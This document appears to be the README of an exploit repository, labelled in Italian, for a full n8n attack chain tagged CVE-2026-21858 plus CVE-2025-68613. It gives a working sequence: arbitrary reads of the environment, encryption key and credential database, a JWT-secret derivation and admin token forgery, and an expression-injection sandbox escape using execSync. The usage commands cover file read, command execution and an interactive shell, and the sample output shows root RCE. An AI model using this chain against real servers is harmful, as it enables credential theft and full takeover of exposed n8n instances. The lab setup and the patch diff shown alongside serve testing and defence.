┌───────────────────────────────────────────────────────────┐
│                     NON AUTENTICATO                       │
├───────────────────────────────────────────────────────────┤
│  1. Leggi /proc/self/environ → Trova directory HOME       │
│  2. Leggi $HOME/.n8n/config → Ottieni encryptionKey       │
│  3. Leggi $HOME/.n8n/database.sqlite → Ottieni credenziali admin │
├───────────────────────────────────────────────────────────┤
│                      FORGIATURA TOKEN                     │
├───────────────────────────────────────────────────────────┤
│  4. Deriva segreto JWT da encryptionKey                   │
│  5. Forgia cookie sessione admin                          │
├───────────────────────────────────────────────────────────┤
│                    RCE AUTENTICATO                        │
├───────────────────────────────────────────────────────────┤
│  6. Crea workflow con iniezione di espressioni            │
│  7. Bypass sandbox tramite this.process.mainModule.require│
│  8. Esegui comandi arbitrari                              │
└───────────────────────────────────────────────────────────┘

commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date:   Thu Nov 13 11:51:40 2025 +0100

    Merge commit from fork

// PRIMA (vulnerabile)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)

// DOPO (corretto)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');

={{ (function() { 
  var require = this.process.mainModule.require; 
  var execSync = require("child_process").execSync; 
  return execSync("id").toString(); 
})() }}

# Derivazione segreto JWT
jwt_secret = sha256(encryption_key[::2]).hexdigest()

# Hash JWT
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]

# Forgia token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")

docker compose up -d
# Attendi ~60 secondi per la configurazione
# Modulo: http://localhost:5678/form/vulnerable-form
# Credenziali: [email protected] / password

# Leggi file arbitrario
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd

# Catena completa con comando
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"

# Shell interattiva
uv run python exploit.py http://localhost:5678 /form/vulnerable-form

╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain          ║
║     Lettura File Arbitraria → Forgiatura Token → Bypass Sandbox → RCE  ║
╚═══════════════════════════════════════════════════════════════╝

[*] Target: http://localhost:5678/form/vulnerable-form
[*] Versione: 1.65.0 (VULNERABILE)
[x] Directory HOME
[+] Directory HOME: /root
[x] Chiave di cifratura
[+] Chiave di cifratura: yusrXZV1...
[x] Database
[+] Database: 1327104 byte
[x] Utente admin
[+] Utente admin: [email protected]
[x] Forgiatura token
[+] Forgiatura token: OK
[x] Accesso admin
[+] Accesso admin: CONCESSO!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK

uid=0(root) gid=0(root) groups=0(root)

{
  "nodes": [
    {
      "name": "Form Trigger",
      "type": "n8n-nodes-base.formTrigger",
      "parameters": {
        "responseMode": "responseNode",
        "formFields": {
          "values": [{ "fieldLabel": "document", "fieldType": "file" }]
        }
      }
    },
    {
      "name": "Respond",
      "type": "n8n-nodes-base.respondToWebhook",
      "parameters": {
        "respondWith": "binary",
        "inputDataFieldName": "document"
      }
    }
  ],
  "connections": {
    "Form Trigger": { "main": [[{ "node": "Respond" }]] }
  }
}